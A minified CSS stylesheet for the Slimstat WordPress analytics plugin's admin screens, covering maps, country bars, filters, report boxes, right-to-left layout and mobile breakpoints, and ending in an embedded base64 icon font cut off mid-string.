.map-container{display:flex;flex-wrap:wrap;padding:0px 20px}@media(min-width: 782px){.wrap.slimstat .map-container{overflow:hidden;height:370px}}.wrap.slimstat #map_slim_p6_01{width:100%;height:395px;min-height:395px;flex:1}@media(max-width: 768px){.wrap.slimstat #map_slim_p6_01{height:310px;min-height:310px;max-height:310px}}.wrap.slimstat .top-countries-wrap{min-width:430px;max-width:430px;margin-left:30px;display:flex;justify-content:center}[dir=rtl] .wrap.slimstat .top-countries-wrap{margin-left:0;margin-right:30px}@media(max-width: 768px){.wrap.slimstat .top-countries-wrap{margin-left:0;min-width:100%;max-width:100%}[dir=rtl] .wrap.slimstat .top-countries-wrap{margin-right:0}}.wrap.slimstat .top-countries{flex:1}.wrap.slimstat .top-countries h4{font-weight:700;font-size:14px;line-height:100%;letter-spacing:-0.43px}.wrap.slimstat .country-bar{display:flex;align-items:center;margin-bottom:20px;position:relative;height:36px}.wrap.slimstat .country-bar .country-flag-container{width:24px;height:24px;border-radius:100px;overflow:hidden;margin:0px 10px 0 0px;display:inline-block;min-width:24px}.wrap.slimstat .country-bar strong{font-weight:700;font-size:14px;line-height:100%;letter-spacing:0px;vertical-align:middle;position:absolute;top:3px;left:43px;color:#202224}.wrap.slimstat .country-bar span{color:#202224;font-weight:800;font-size:12px;line-height:100%;letter-spacing:0px;vertical-align:middle;margin-left:5px;margin-top:23px}.wrap.slimstat .country-flag{height:auto;transform:translateX(-13%)}.wrap.slimstat .bar-container{background-color:#e5e6e9;height:8px;width:100%;margin-left:10px;border-radius:4px;margin-top:25px;overflow:hidden}.wrap.slimstat .bar-fill{height:100%;background-color:#e7294b}@media(max-width: 768px){.wrap.slimstat .map-container{flex-direction:column}.wrap.slimstat .top-countries{margin-left:0;margin-top:20px}[dir=rtl] .wrap.slimstat .top-countries{margin-left:0;margin-right:0}}body.index-php .jqvmap-label,body.toplevel_page_slimview1 .jqvmap-label,body.slimstat_page_slimview2 .jqvmap-label,body.slimstat_page_slimview3 .jqvmap-label,body.slimstat_page_slimview4 .jqvmap-label,body.slimstat_page_slimview5 .jqvmap-label,body.slimstat_page_slimconfig .jqvmap-label,body.slimstat_page_slimpro .jqvmap-label,body.slimstat_page_slimlayout .jqvmap-label,body.slimstat_page_migration .jqvmap-label{z-index:999999;position:absolute !important;background-color:#2b2b2b !important;color:#fff !important;padding:10px !important;transform:translateY(-15px) translateX(50%) !important;max-width:280px !important;min-width:50px !important;font-size:1em !important;line-height:1.5em !important;direction:ltr !important;border-radius:8px !important;backdrop-filter:blur(34px) !important;box-shadow:0px 2px 4px 0px rgba(0,0,0,.0392156863) !important}body.index-php .jqvmap-label h3,body.toplevel_page_slimview1 .jqvmap-label h3,body.slimstat_page_slimview2 .jqvmap-label h3,body.slimstat_page_slimview3 .jqvmap-label h3,body.slimstat_page_slimview4 .jqvmap-label h3,body.slimstat_page_slimview5 .jqvmap-label h3,body.slimstat_page_slimconfig .jqvmap-label h3,body.slimstat_page_slimpro .jqvmap-label h3,body.slimstat_page_slimlayout .jqvmap-label h3,body.slimstat_page_migration .jqvmap-label h3{margin:0 !important;font-size:16px !important;line-height:100% !important;font-weight:bold !important;background-color:#2b2b2b !important;color:#fff !important;letter-spacing:1px !important}body.index-php .jqvmap-label p,body.toplevel_page_slimview1 .jqvmap-label p,body.slimstat_page_slimview2 .jqvmap-label p,body.slimstat_page_slimview3 .jqvmap-label p,body.slimstat_page_slimview4 .jqvmap-label p,body.slimstat_page_slimview5 .jqvmap-label p,body.slimstat_page_slimconfig .jqvmap-label p,body.slimstat_page_slimpro .jqvmap-label p,body.slimstat_page_slimlayout .jqvmap-label p,body.slimstat_page_migration .jqvmap-label p{font-family:Inter !important;font-weight:600 !important;font-size:12px !important;line-height:100% !important;letter-spacing:1px !important;background-color:#2b2b2b !important;color:#fff !important}body.index-php .jqvmap-label canvas,body.toplevel_page_slimview1 .jqvmap-label canvas,body.slimstat_page_slimview2 .jqvmap-label canvas,body.slimstat_page_slimview3 .jqvmap-label canvas,body.slimstat_page_slimview4 .jqvmap-label canvas,body.slimstat_page_slimview5 .jqvmap-label canvas,body.slimstat_page_slimconfig .jqvmap-label canvas,body.slimstat_page_slimpro .jqvmap-label canvas,body.slimstat_page_slimlayout .jqvmap-label canvas,body.slimstat_page_migration .jqvmap-label canvas{position:absolute;color:#2b2b2b !important;background:#2b2b2b !important;border:0 dashed rgba(0,0,0,0);background-color:#2b2b2b !important;width:12px !important;height:12px !important;transform:rotate(135deg) translateX(0px) translateY(1px);line-height:unset !important;border-top-right-radius:4px;display:inline-block;bottom:-5px;left:calc(50% - 6px)}.export-pro-badge{margin-left:3px;margin-bottom:-5px}[dir=rtl] .export-pro-badge{margin-left:0;margin-right:3px}.wrap.slimstat a,[id^=slim_] a{outline:none;text-decoration:none}[id^=slim_] a.slimstat-delete-entry:before{color:#ff3636}.slimstat-float-right{float:right}#slimstat-filters-post{display:none}#slimstat-filters-form{margin-top:10px;padding:5px;position:relative;border-radius:5px}#slimstat-filters input.text,#slimstat-filters select{vertical-align:initial;width:15%}#screen-meta-links{position:absolute;right:0;z-index:1}[dir=rtl] #screen-meta-links{left:0;right:auto}#slimstat-date-filters{padding:4px 10px 6px 20px;position:absolute;right:5px;top:5px;background-color:#e8294c;border-radius:50px}#slimstat-date-filters>a{color:#fff;white-space:nowrap}#slimstat-date-filters>a::after{content:\"\";font:normal 20px\u002F1 \"dashicons\";vertical-align:bottom}#slimstat-date-filters>a.open::after{content:\"\"}#slimstat-date-filters .dropdown{background-color:#fff;box-shadow:5px 0px 30px rgba(0,0,0,.1);color:#222;display:none;padding:12px;position:absolute;right:-4px;top:35px;width:410px;z-index:120;border-radius:8px}[dir=rtl] #slimstat-date-filters .dropdown{right:auto;left:-4px}#slimstat-date-filters .dropdown strong{clear:both;display:block;font-weight:normal;padding:10px 5px 5px 0;text-transform:uppercase}#slimstat-date-filters .dropdown select,#slimstat-date-filters .dropdown input{margin:0 5px 5px 0;height:27px;width:130px}#slimstat-date-filters .dropdown select.short,#slimstat-date-filters .dropdown input.short{width:65px}#slimstat-date-filters .dropdown .ui-datepicker-trigger{float:right;margin:2px 5px 0 0}[dir=rtl] #slimstat-date-filters .dropdown .ui-datepicker-trigger{margin:2px 0 0 5px}#slimstat-current-filters{margin-bottom:5px;background-color:#fff;color:#616060;font-size:14px;overflow:hidden;padding:10px 10px;position:relative;border-radius:5px;margin-top:0px;border:solid 1px #f0f0f0}@media(max-width: 400px){#slimstat-current-filters .button-secondary{margin:2px auto}}#slimstat-current-filters .slimstat-remove-filter{color:#fff}#slimstat-current-filters .slimstat-filter-list{float:left;margin:0;padding:4px 0 5px 5px}#slimstat-current-filters .slimstat-filter-list li{display:inline;margin:0 20px 0 0;vertical-align:middle}.slimstat-filter-action-button{float:right;margin-left:10px !important}.wrap.slimstat .meta-box-sortables{display:flex;align-items:center;justify-content:flex-start;flex-wrap:wrap;margin-right:-1.3%}@media(max-width: 1560px){.wrap.slimstat .meta-box-sortables{margin-right:-0.5%}}[dir=rtl] .wrap.slimstat .meta-box-sortables{margin-right:0;margin-left:-1.3%}@media(max-width: 1560px){[dir=rtl] .wrap.slimstat .meta-box-sortables{margin-left:-0.5%}}.wrap.slimstat .postbox,.wrap.slimstat .sortable-placeholder{box-sizing:border-box;float:left;margin-bottom:15px;min-width:24.3%;overflow:hidden;width:24.3%}.wrap.slimstat .postbox.large{width:49.1%}.wrap.slimstat .postbox.extralarge{width:73.9%}.wrap.slimstat .postbox.full-width{width:98.7%}.sortable-placeholder{background-color:#ccc;border:1px dashed #bbb;margin-bottom:9px}.wrap.slimstat .postbox h3{border-bottom:1px solid #ddd;font-size:1.2em;margin:0;padding:10px}.wrap.slimstat .postbox.tall h3{cursor:auto}.slimstat-tooltip-content{display:none}.slimstat .no-refresh .refresh{display:none}[id^=slim_] p.pagination{font-weight:600;color:#000;font-size:14px}[id^=slim_] p.pagination a{color:#151515;float:right;margin-left:5px}[id^=slim_] .inside{height:240px;margin:0 !important;overflow:auto;padding:0 !important;margin-bottom:45px !important}.wrap.slimstat .postbox.tall .inside{height:465px}.map-wrap .inside{height:370px !important}@media(max-width: 767px){.map-wrap .inside{height:auto !important}}[id^=slim_] p{border-bottom:1px solid #eee;line-height:1.5em;margin:0;min-height:20px;padding:10px 10px;position:relative;word-wrap:break-word}[id^=slim_] p:last-child{border-bottom:0}[id^=slim_] p .slimstat-tooltip-trigger.corner{-moz-transform:scaleX(-1);-o-transform:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);filter:FlipH;-ms-filter:\"FlipH\";left:0}[id^=slim_] p span{float:right}[id^=slim_] p span.pageview-screenres{margin-left:10px}[id^=slim_] .inline-icon{background-color:rgba(0,0,0,0);background-position:0 0;background-repeat:no-repeat;display:inline-block;height:18px;line-height:18px;margin-right:5px;vertical-align:middle;width:16px;filter:grayscale(40%);transition:.3s all ease-out}[id^=slim_] .inline-icon:hover{filter:grayscale(0)}[id^=slim_] .spaced{margin-left:15px}#dashboard-widgets-wrap .whois{display:none}[id^=slim_] .debug{background-color:#000;color:#fff;display:block;font-family:monospace;opacity:.8;padding:20px;position:relative}.little-color-box{background-color:#eee;border:1px solid #aaa;display:block;float:left;height:15px;margin-right:10px;width:15px}[id^=slim_] .header{background-color:#f8f8f8;color:#111}[id^=slim_] .header.is-search-engine,.little-color-box.is-search-engine{background-color:#e2dbff;color:#151515}[id^=slim_] .header.is-direct,.little-color-box.is-direct{background-color:#f8f8f8;color:#111}[id^=slim_] .header.is-known-user,.little-color-box.is-known-user{background-color:#ddf0ff}[id^=slim_] .header.is-known-visitor,.little-color-box.is-known-visitor{background-color:#ffe9c8}[id^=slim_] .header.is-spam,.little-color-box.is-spam{background-color:#eeff89;color:#222}[id^=slim_] p.loading{text-align:center;width:100%;padding:0;margin:0;top:50%;line-height:0;transform:translateY(-50%);overflow:hidden}[id^=slim_] p.nodata{border:0;color:#999;text-align:center;position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);width:90%}.chart-placeholder{height:280px;overflow:hidden}body.toplevel_page_slimview1 div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.toplevel_page_slimview1 div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.toplevel_page_slimview1 .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.toplevel_page_slimview1 .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.toplevel_page_slimview1 .error:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview2 div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview2 div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview2 .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview2 .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview2 .error:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview3 div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview3 div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview3 .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview3 .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview3 .error:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview4 div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview4 div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview4 .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview4 .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview4 .error:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview5 div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview5 div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview5 .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview5 .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimview5 .error:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimconfig div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimconfig div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimconfig .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimconfig .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimconfig .error:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_migration div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_migration div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_migration .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_migration .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_migration .error:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimpro div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimpro div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimpro .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimpro .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimpro .error:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimlayout div[class*=-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimlayout div[class*=admin-notice]:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimlayout .notice:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimlayout .update-nag:not(.slimstat-notice):not(.slimstat-migration-notice),body.slimstat_page_slimlayout .error:not(.slimstat-notice):not(.slimstat-migration-notice){display:none !important}.ui-widget-overlay{background-color:#222;filter:alpha(opacity=60);height:100%;opacity:.6;position:fixed;top:0;width:100%;z-index:100 !important}.ui-dialog.slimstat .ui-dialog-titlebar{background:#4b8df8;border:0;border-radius:0;color:#fff;font-family:\"Open Sans\",sans-serif;font-size:1.3em;font-weight:normal;height:22px;line-height:1.3em;margin:0;padding:5px 10px}.tooltip-item-title{font-size:13px;font-weight:500}.tooltip-item-content{font-size:13px;font-weight:normal;font-style:italic}.ui-dialog.slimstat .ui-dialog-titlebar-close{background-color:rgba(0,0,0,0);border:0;color:#fff;float:right;line-height:1.3em;padding:0}.ui-dialog.slimstat .ui-dialog-titlebar-close:before{content:\"\";font-family:slimstat}.ui-dialog .ui-dialog-content{clear:both}#slimstat-modal-dialog{background-color:#fff;display:none;max-height:650px !important;overflow:auto;padding:0;width:auto}#slimstat-modal-dialog p{margin:0;padding:10px}#dashboard-widgets [id*=slim_p].postbox .inside{height:281px}#dashboard-widgets [id*=slim_p][id*=_01].postbox .inside{height:290px}#dashboard-widgets #slim_p7_02.postbox .inside{height:320px}.closed .slimScrollDiv{height:0 !important}.nav-tabs{margin:20px 1px 0}.nav-tab{font-size:14px;margin:0 5px 0 0}.nav-tab a{color:#151515;display:block;text-decoration:none}.form-table{border:1px solid #ccc;margin-top:0;overflow:hidden}.form-table *:not(.bootstrap-switch-container):not(input):not(button):not(label):not(select):not(textarea):not(a):not(code):not(pre):not(.description){max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;text-wrap:auto}.form-table th{font-weight:400;padding:15px 10px}.slimstat-options-section-header{background-color:#fff !important;font-size:1.4em;font-weight:bold !important;margin:0;padding:5px 10px}.form-table h3{margin-top:0}.form-table td span.block-element{padding:0 30px 0 0}.form-table .description{color:#999;display:block;font-style:normal;margin-top:5px}.form-table #slimstat-filter-name,.form-table #slimstat-filter-operator,.form-table #slimstat-filter-value{width:20%}[id*=form-slimstat-options] input[type=number].small-text{width:85px}[class*=bootstrap-switch-id-addon_network_settings]{float:right}.CodeMirror{height:auto !important}.wp-list-table.slimstat-addons{margin-bottom:20px}.wp-list-table.slimstat-addons tbody th{border-left:5px solid #ccc}[dir=rtl] .wp-list-table.slimstat-addons tbody th{border-left:0;border-right:5px solid #ccc}.wp-list-table.slimstat-addons th,.wp-list-table.slimstat-addons td{border-bottom:1px solid #ccc}.wp-list-table.slimstat-addons .active th{border-color:#10a062;border-style:solid;border-radius:0 0 0 5px}[dir=rtl] .wp-list-table.slimstat-addons .active th{border-radius:0 0 5px 0}.wp-list-table.slimstat-addons .active td{border:0}.column-wp-slimstat{text-align:center !important;width:3em}.slimstat-icon:before{content:\"\";font-family:dashicons}.rtl #slimstat-current-filters .slimstat-filter-list{padding:0 0 0 75px}.rtl #slimstat-current-filters .slimstat-filter-list li{margin-left:20px;margin-right:0}.rtl #slimstat-remove-all-filters{left:5px;right:inherit}.rtl #slimstat-date-filters{left:5px;right:inherit}.rtl #slimstat-date-filters span{left:0;right:inherit}.rtl .wrap.slimstat .postbox{float:right}.rtl .slimScrollBar{left:2px !important;right:inherit !important}.rtl [id^=slim_] p.pagination a{float:left}.rtl [id^=slim_] p span{float:left}.rtl .qtip-content{text-align:right}.rtl .form-table td span.block-element{padding:0 0 0 30px}.rtl .slimstat-browser-icon,.rtl .slimstat-flag-icon,.rtl span.slimstat-flag-container{float:right !important;margin:0px 0px 0px 10px !important}.rtl .slimstat-author-link img{float:right !important;margin:0px 0px 0px 10px !important}.rtl .slimstat-float-right{float:left}.rtl #slimstat-date-filters .dropdown .ui-datepicker-trigger{float:left;margin:2px 0 0 5px}.rtl #slimstat-current-filters .slimstat-filter-list{float:right;padding:4px 5px 5px 0}.rtl .slimstat-filter-action-button{float:left;margin-right:10px !important;margin-left:0 !important}.rtl .wrap.slimstat .sortable-placeholder{float:right}.rtl [id^=slim_] p.pagination a{float:left;margin-right:5px;margin-left:0}.rtl [id^=slim_] p span{float:left}.rtl [id^=slim_] p span.pageview-screenres{margin-right:10px;margin-left:0}.rtl [id^=slim_] .inline-icon{margin-left:5px;margin-right:0}.rtl [id^=slim_] .spaced{margin-right:15px;margin-left:0}.rtl .little-color-box{float:right;margin-left:10px;margin-right:0}.rtl .ui-dialog.slimstat .ui-dialog-titlebar-close{float:left}.rtl [class*=bootstrap-switch-id-addon_network_settings]{float:left}.rtl .slimstat-layout .postbox,.rtl .slimstat-layout .sortable-placeholder{float:right;margin:0 0 10px 10px}.rtl .ui-datepicker .ui-datepicker-buttonpane button{float:left}.rtl .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:right}.rtl .ui-datepicker-multi .ui-datepicker-group{float:right}.rtl .tag-editor li{float:right}.rtl .tag-editor div{float:right}.rtl .tag-editor .tag-editor-tag{padding-right:5px;padding-left:0;border-radius:2px 0 0 2px}.rtl .tag-editor .tag-editor-delete{padding-right:4px;padding-left:3px;border-radius:0 2px 2px 0}.rtl .ui-autocomplete{right:0;left:auto}@media(min-width: 780px){.rtl .backdrop-container{margin-right:-20px;margin-left:0;padding-right:20px;padding-left:0}}.rtl .slimstat-filter-link .avatar{margin-left:2px;margin-right:0}.rtl #slimstat-date-filters a.slimstat-filter-link{float:right;margin:0 0 5px 5px}.rtl .slimstat-header-buttons{float:left}.rtl .slimstat-header-buttons a.slimstat-font-download span.dashicons::before{margin-left:2px;margin-right:0}.rtl .slimstat-browser-icon,.rtl .slimstat-flag-icon,.rtl span.slimstat-flag-container{float:right !important;margin:0px 0px 0px 10px !important}.rtl .slimstat-author-link img{float:right !important;margin:0px 0px 0px 10px !important}.rtl .slimstat-tooltip-trigger .slimstat-tooltip-bar-wrap{right:0;left:auto;margin:0px 15px 0px 0px}.rtl .pagination{right:0;left:auto}.rtl .slimstat-header{margin-right:-20px;margin-left:0}.rtl .slimstat-header .go-pro{text-align:right}.rtl .slimstat-header .go-pro p{text-align:right}.rtl .slimstat-header .pro-badge{right:auto;left:20px}.rtl .slimstat-header .pro-badge .icon{margin-left:7px;margin-right:0}.rtl .slimstat-header .go-pro a .icon{margin-left:0;margin-right:5px;transform:scaleX(-1)}.rtl .slimstat-pro-modal #slimstat-pro-modal-close{left:10%;right:auto}.rtl .slimstat-pro-modal .features-flex-box .feature-item h6 .icon{margin-left:7px;margin-right:0}.rtl .slimstat-pro-modal .features-flex-box .feature-item .more-info-icon{margin-right:3px;margin-left:0}@media screen and (max-width: 800px){.rtl #slimstat-date-filters{left:inherit;right:inherit}}@media screen and (max-width: 600px){.rtl [id^=slim_] .spaced{margin-right:5px;margin-left:5px}.rtl [id^=slim_] .inline-icon{margin-left:2px;margin-right:0}.rtl [id^=slim_] p span.pageview-screenres{margin-right:3px;margin-left:0}}@media screen and (max-width: 400px){.rtl [id^=slim_] .spaced{margin-right:8px;margin-left:8px}.rtl [id^=slim_] .inline-icon{margin-left:3px;margin-right:0}.rtl [id^=slim_] p span.pageview-screenres{margin-right:5px;margin-left:0}}.slimstat-layout .postbox-container{float:none;margin-top:20px;overflow:hidden;border:solid 1px #f0f0f0;border-radius:10px}.slimstat-layout .meta-box-sortables{overflow:hidden;padding:10px}.slimstat-layout .postbox-container span.title{background-color:silver;color:#fff;font-size:16px;margin-bottom:0;padding:10px}.slimstat-layout .postbox,.slimstat-layout .sortable-placeholder{float:left;margin:0 10px 10px 0;min-width:285px}.slimstat-layout .sortable-placeholder{border:2px dashed #72aee6;background-color:#f0f6fc;visibility:visible !important;height:80px;border-radius:5px}.slimstat-layout .postbox.ui-sortable-helper{opacity:.65;box-shadow:0 5px 15px rgba(0,0,0,.3)}.slimstat-layout h3{border:0;font-weight:300;font-size:1.1em;margin:0;padding:5px 10px}@media screen and (max-width: 1560px){.wrap.slimstat .postbox{width:32.8%}.wrap.slimstat .postbox.large{width:66.1%}.wrap.slimstat .postbox.extralarge,.wrap.slimstat .postbox.full-width{width:99.4%}.wrap.slimstat .postbox h3{font-size:1em;line-height:1.2em}.wrap.slimstat .postbox p{font-size:1em;line-height:1.5em}.wrap.slimstat .postbox p span.details{float:none !important;display:block;padding:0px !important;margin-top:10px;align-items:center}.wrap.slimstat .postbox p span.details>*:nth-last-child(1){position:relative;float:right;right:-25px}.wrap.slimstat .postbox p span.details>*:nth-last-child(2){position:relative;float:right;right:25px}[id^=slim_] .spaced{margin:0}}.index-php div#slim_p7_02.postbox .pageview-screenres{float:none}.index-php div#slim_p7_02.postbox .details{position:relative;float:none;display:block}.index-php div#slim_p7_02.postbox .details .slimstat-font-edit{float:right}.index-php div#slim_p7_02.postbox .details .spaced{margin-left:0px}@media screen and (max-width: 1080px){.wrap.slimstat .postbox{width:49.125%}.wrap.slimstat .postbox.large,.wrap.slimstat .postbox.extralarge,.wrap.slimstat .postbox.full-width{width:99%}}@media screen and (max-width: 800px){#slimstat-filters input.text,#slimstat-filters select{margin:0 .5% 0 0;width:26%}.wp-core-ui .button-secondary{height:35px}#slimstat-date-filters{margin-top:5px;position:relative;right:inherit;top:inherit}.wrap.slimstat .postbox,.wrap.slimstat .postbox.large,.wrap.slimstat .postbox.extralarge,.wrap.slimstat .postbox.full-width{margin:0 0 10px;width:99.5%}.wrap.slimstat .postbox h3{font-size:1.4em;line-height:1em}.wrap.slimstat .postbox p{line-height:1.4em}.nav-tab{display:block;margin:0}.form-table th{font-size:1.4em}.form-table th label{font-size:1em}.form-table td{padding:10px}.form-table .button-primary,.form-table .button-secondary{height:30px;margin-bottom:5px;text-align:center;width:100%}.form-table #slimstat-filter-name,.form-table #slimstat-filter-operator,.form-table #slimstat-filter-value{width:100%}[id^=slim_] .users .column-name{display:none}[id^=slim_] p{padding:8px 10px;word-break:break-all;overflow-wrap:break-word;hyphens:auto}[id^=slim_] p .slimstat-filter-link{max-width:100%;display:inline-block;word-break:break-all;overflow-wrap:break-word}[id^=slim_] p .details{display:block;margin-top:5px;font-size:.9em;line-height:1.3em}[id^=slim_] p .spaced{margin-left:8px;margin-right:8px}[id^=slim_] .inline-icon{margin-right:3px}[id^=slim_] p span.pageview-screenres{margin-left:5px;font-size:.8em}[id^=slim_] p .slimstat-filter-link{position:relative}[id^=slim_] p .slimstat-filter-link[title]{cursor:help}[id^=slim_] p{min-width:0;flex-shrink:1}[id^=slim_] p .slimstat-filter-link{max-width:100%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;display:inline-block;vertical-align:top}[id^=slim_] p .slimstat-filter-link:hover{white-space:normal;word-break:break-all;overflow:visible;position:relative;z-index:10;background-color:#fff;box-shadow:0 2px 8px rgba(0,0,0,.15);padding:4px;border-radius:3px}[id^=slim_] p.access-log-entry{display:flex;flex-direction:column;align-items:flex-start;gap:4px}[id^=slim_] p.access-log-entry .details{display:flex;flex-wrap:wrap;align-items:center;gap:8px;font-size:.85em;color:#666;margin-top:4px}[id^=slim_] p.access-log-entry{flex-direction:column;align-items:stretch}[id^=slim_] p.access-log-entry .details{flex-direction:column;align-items:flex-start;gap:4px}[id^=slim_] p.access-log-entry .details>*{margin-bottom:2px}}@media screen and (max-width: 600px){[id^=slim_] p{padding:6px 8px;font-size:.9em}[id^=slim_] p .details{font-size:.8em;margin-top:3px}[id^=slim_] .spaced{margin-left:5px;margin-right:5px}[id^=slim_] .inline-icon{margin-right:2px;width:14px;height:16px}[id^=slim_] p span.pageview-screenres{font-size:.7em;margin-left:3px}[id^=slim_] p.header{display:flex;flex-direction:column;align-items:flex-start}[id^=slim_] p.header .inline-icon{margin-bottom:2px}[id^=slim_] p.access-log-entry .details{font-size:.8em}}@font-face{font-family:\"slimstat\";src:url(\"slimstat.eot?58272494\");src:url(\"slimstat.eot?58272494#iefix\") format(\"embedded-opentype\"),url(\"slimstat.svg?58272494#fontello\") format(\"svg\");font-weight:normal;font-style:normal}@font-face{font-family:\"slimstat\";src:url(\"data:application\u002Foctet-stream;base64,d09GRgABAAAAABvsAA8AAAAALlwAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABHU1VCAAABWAAAADsAAABUIIslek9TLzIAAAGUAAAAQwAAAFY+UEk6Y21hcAAAAdgAAADDAAACzg4H7jVjdnQgAAACnAAAABMAAAAgBzP+pGZwZ20AAAKwAAAFkAAAC3CKkZBZZ2FzcAAACEAAAAAIAAAACAAAABBnbHlmAAAISAAAD8QAABhCKXIj12hlYWQAABgMAAAAMgAAADYOp0OgaGhlYQAAGEAAAAAgAAAAJAfKA\u002FZobXR4AAAYYAAAAEcAAABsW2r\u002F+WxvY2EAABioAAAAOAAAADhIdk6NbWF4cAAAGOAAAAAgAAAAIAFJC\u002FluYW1lAAAZAAAAAY4AAAMJSEJEcXBvc3QAABqQAAAA3QAAAVJ0zYSJcHJlcAAAG3AAAAB6AAAAhuVBK7x4nGNgZGBg4GIwYLBjYHJx8wlh4MtJLMljkGJgYYAAkDwymzEnMz2RgQPGA8qxgGkOIGaDiAIAJjsFSAB4nGNgZE5mnMDAysDAVMW0h4GBoQdCMz5gMGRkAooysDIzYAUBaa4pDA4vGF5IMgf9z2KIYm5kOAYUZgTJAQDkzwwIAHic7ZLtbUIxEATHwXkQQj6AQMKrIYWkgBSUX9S6XcCe35YRS3OST7Zl3SzwCKzMt+nQrjRq\u002FbnbRn\u002FFdvQ7v+NMr74ut5srVb3voz74bPeLE2s2PPneMzteeOWNd\u002FYcOPLBiTOffHFh9qWJ\u002F7Wr0n6ym2uuC2PSwdNFoYwp1OwVyqaCLaBgHyjYDAp2hEJZVrA3FOp3CnaJgq2iYL8o2DQKdo6C7aPgHKDgRKDgbKDglKDgvKDg5KDgDDmJC8x3F5s9LgB4nGNgQAMSEMjc+N8KhAETIgPbAHicrVZpd9NGFB15SZyELCULLWphxMRpsEYmbMGACUGyYyBdnK2VoIsUO+m+8Ynf4F\u002FzZNpz6Dd+Wu8bLySQtOdwmpOjd+fN1czbZRJaktgL65GUmy\u002FF1NYmjew8CemGTctRfCg7eyFlisnfBVEQrZbatx2HREQiULWusEQQ+x5ZmmR86FFGy7akV03KLT3pLlvjQb1V334aOsqxO6GkZjN0aD2yJVUYVaJIpj1S0qZlqPorSSu8v8LMV81QwohOImm8GcbQSN4bZ7TKaDW24yiKbLLcKFIkmuFBFHmU1RLn5IoJDMoHzZDyyqcR5cP8iKzYo5xWsEu20\u002Fy+L3mndzk\u002FsV9vUbbkQB\u002FIjuzg7HQlX4RbW2HctJPtKFQRdtd3QmzZ7FT\u002FZo\u002FymkYDtysyvdCMYKl8hRArP6HM\u002FiFZLZxP+ZJHo1qykRNB62VO7Es+gdbjiClxzRhZ0N3RCRHU\u002FZIzDPaYPh788d4plgsTAngcy3pHJZwIEylhczRJ2jByYCVliyqp9a6YOOV1WsRbwn7t2tGXzmjjUHdiPFsPHVs5UcnxaFKnmUyd2knNoykNopR0JnjMrwMoP6JJXm1jNYmVR9M4ZsaERCICLdxLU0EsO7GkKQTNoxm9uRumuXYtWqTJA\u002FXco\u002Ff05la4udNT2g70s0Z\u002FVqdiOtgL0+lp5C\u002FxadrlIkXp+ukZfkziQdYCMpEtNsOUgwdv\u002FQ7Sy9eWHIXXBtju7fMrqH3WRPCkAfsb0B5P1SkJTIWYVYhWQGKta1mWydWsFqnI1HdDmla+rNMEinIcF8e+jHH9XzMzlpgSvt+J07MjLj1z7UsI0xx8m3U9mtepxXIBcWZ5TqdZlu\u002FrNMfyA53mWZ7X6QhLW6ejLD\u002FUaYHlRzodY3lBC5p038GQizDkAg6QMISlA0NYXoIhLBUMYbkIQ1gWYQjLJRjC8mMYwnIZhrC8rGXV1FNJ49qZWAZsQmBijh65zEXlaiq5VEK7aFRqQ54SbpVUFM+qf2WgXjzyhjmwF